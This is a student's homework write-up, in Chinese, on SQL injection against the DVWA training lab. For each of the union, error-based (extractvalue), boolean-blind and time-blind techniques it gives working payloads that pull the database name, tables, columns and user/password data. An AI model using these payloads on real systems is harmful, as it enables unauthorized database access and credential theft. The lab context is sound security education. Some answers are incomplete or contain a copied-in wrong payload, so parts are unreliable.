网络安全C10-2024.9.28
作业:
1、在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)
数字型注入
(1)加单引号 例如:www.text.com/text.php?id=1',如果sql语句报错,证明可能存在注入
(2)加and 1=1,URL:www.text.com/text.php?id=1 and 1=1,语句执行正常
(3)加and 1=2,URL:www.text.com/text.php?id=1 and 1=2,语句正常执行,但是没有查询结果
如果满足以上三点,且程序本身没有对用户的输入做任何额外处理,则可以判断该URL存在数字型注入。
字符型注入
(1)尝试输入: 1' ,报错,可能是数字型植入也可能是字符型植入
(2)尝试输入 1 and 1=1 查不出结果,尝试1 'and 1=1#, 所以是字符型不是数字型
2、分别在前端和后端使用联合注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
1.判断是否存在注入,注入是字符型还是整数型
2.猜解SQL查询语句中的字段数(order by)
使用order by对第n列进行排序,如果不存在第n列就会报错,通过是否报错判断字段数
后端
前端
3.确定显示位,爆出数据库名和版本
select first_name,last_name from users where user_id = '1' union all select database(),version()
后端
前端:
1' union all select database(),version()#
4.爆表
查询information_schema数据库中的tables表中的table_name字段,限定数据库为dvwa,并且让字段名在一行显示,查出来有guestbook,users两张表;
后端
select user_id,first_name from users where user_id='1'union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'
前端
1'union select 1,group_concat(table_name) from information_schema.tables where
table_schema ='dvwa'#
5.指定表,得到表中的字段名
查询information_schema数据库中的columns表中的column_name字段,限定数据库为dvwa,,表名为users,并且让字段名在一行显示,查出来users表中所有字段;
select user_id,first_name from users where user_id='1'union select 1,group_concat(column_name) from information_schema.columns where table_schema ='dvwa' and table_name = 'users'
前端
1'union select 1,group_concat(column_name) from information_schema.columns where table_schema ='dvwa' and table_name = 'users'#
6.爆数据
后端
select user_id,first_name from users where user_id='1'union select user,password from users
前端
1'union select user,password from users#
3、分别在前端和后端使用报错注入实现“库名-表名-字段名-数据”的注入过程,写清楚注入步骤。
1.爆库名
使用函数extractvalue(XML_document,xpath_string),作用是从document中返回包含string的字符串,如果string参数不符合xpath的语法就会报错,将查询结果放在报错信息里,即extractvalue函数报错时会解析SQL语句。
后端
select user_id,first_name from users where user_id='1' and extractvalue(1,concat(0x7e,database()))
前端
1' and extractvalue(1,concat(0x7e,database()))#
2.爆表数
后端
select user_id,first_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))
前端
1' and extractvalue(1,concat(0x7e,(select count(table_name) from
information_schema.tables where table_schema='dvwa')))#
3.爆表名,把上一步的count改成group_concat就可以了
后端
select user_id,first_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')))
前端
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema='dvwa')))#
4.爆列名
后端
select user_id,first_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)));
加limit限制只去第一个,通过limit一个一个取列名
前端
1' and extractvalue(1,concat(0x7e,(select column_name from
information_schema.columns where table_name='users' limit 0,1)));#
5.得到用户名密码
后端
因为用户,密码一起查会报错,合并查会显示不全,所以用户密码分开查
select user_id,first_name from users where user_id='1' and extractvalue(1,concat(0x7e,(select user from users where user_id=1)));#
前端
1' and extractvalue(1,concat(0x7e,(select user from users where user_id=1)));#
回答下列关于报错注入的问题:
(1)在extractvalue函数中,为什么'~'写在参数1的位置不报错,而写在参数2的位置报错?
答:因为第一个位置是字符串,
(2)报错注入中,为什么要突破单引号的限制,如何突破?
(3)在报错注入过程中,为什么要进行报错,是哪种类型的报错?
4、任选布尔盲注或者时间盲注在前端和后端实现“库名-表名”的注入过程,写清楚注入步骤。
布尔盲注
1.判断数据库名称长度
后端
根据二分法不断缩小范围
select user_id,first_name from users where user_id='1' and length(database())>10;
前端
1' and length(database())=4;#
2.判断数据库名称的字符组成元素
使用substr取数据库名称的第一位,然后用ascii将其转化为数字,通过比较得出数字后查询ascii表逐个攻破
select user_id,first_name from users where user_id='1' and ascii(substr(database(),1,1))>88;
1' and ascii(substr(database(),1,1))>88;#
3.猜解数据库中的表名
1)猜解表的个数
select user_id,first_name from users where user_id='1' and (select count(table_name) from information_schema.tables where
table_schema=database())>10;
1' and ascii(substr(database(),1,1))>88;#
2)猜表名
select user_id,first_name from users where user_id='1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88;
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>88;#
时间盲注
1,猜数据库名称
1)判断数据库名称长度
如果length(database())=4为真,那么会延迟五秒出结果,若为假,则会返回1,根据这个判断数据库名称长度
select user_id,first_name from users where user_id='1' and if(length(database())=4,sleep(5),1);
1' and if(length(database())=4,sleep(5),1);#
2)猜测数据库名称
select user_id,first_name from users where user_id='1' and if(ascii(substr(database(),1,1))=100,sleep(5),1);
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1);
2.猜测表个数
select user_id,first_name from users where user_id='1' and if((select count(table_name) from information_schema.tables where
table_schema=database())=2,sleep(5),1);
1' and if((select count(table_name) from information_schema.tables where
table_schema=database())=2,sleep(5),1);#
3.猜测表名长度
select user_id,first_name from users where user_id='1' and if(length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=9,sleep(5),1);
1' and if(length((select table_name from information_schema.tables where
table_schema=database() limit 0,1))=9,sleep(5),1);#
3.猜测表名
select user_id,first_name from users where user_id='1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=103,sleep(5),1);
1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))=103,sleep(5),1);#